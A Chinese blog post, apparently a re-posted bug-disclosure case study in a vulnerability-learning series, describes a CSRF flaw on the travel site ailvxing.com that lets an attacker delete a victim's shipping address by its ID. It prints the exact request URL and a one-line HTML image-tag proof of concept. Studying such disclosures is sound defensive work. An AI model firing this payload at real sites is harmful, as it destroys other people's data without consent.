【漏洞学习——CSRF】爱旅行网csrf删除收货地址

FLy_鹏程万里 FLy_鹏程万里 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 300+累计阅读 321平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄9年
关注
原创 2019-02-22 17:51:52 321 阅读 AI 写同款· GEO 优化 ›

漏洞细节

在测试网站时发现删除收获地址时,只采用ID进行认证，也就是说只要知道对方的地址ID，便可构造poc进行CSRF，于是注册了两个号来测试：
帐号1：

帐号2：

构造url:

http://www.ailvxing.com//e/ShopSys/doaction.php?enews=DelAddress&addressid=1592

让账号1来访问：

可以看到已经成功删除。
可构造POC:

<html>
<img src="http://www.ailvxing.com//e/ShopSys/doaction.php？enews=DelAddress&addressid=1592">
</html>

参见：https://bugs.shuimugan.com/bug/view?bug_no=164890

收录于
【渗透测试实战】

当前文章被收录于：

【渗透测试实战】
160 篇文章 20 人学习

渗透测试实战

订阅专栏 查看详情
乌云漏洞案例学习

当前文章被收录于：

乌云漏洞案例学习
75 篇文章 23 人学习

乌云漏洞案例学习

订阅专栏 查看详情
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
上一篇： 【漏洞学习——CSRF】淘宝网CSRF添加收货地址
下一篇： 【漏洞学习——CSRF】bilibili某处csrf漏洞
点赞 0
评论 0
书签 书签 0
FLy_鹏程万里
FLy_鹏程万里 优质创作者: 后端开发技术领域 优质创作者: 后端开发技术领域 领域专家: 操作系统技术领域 领域专家: 操作系统技术领域
博客等级 码龄9年 1万+粉丝 1364原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值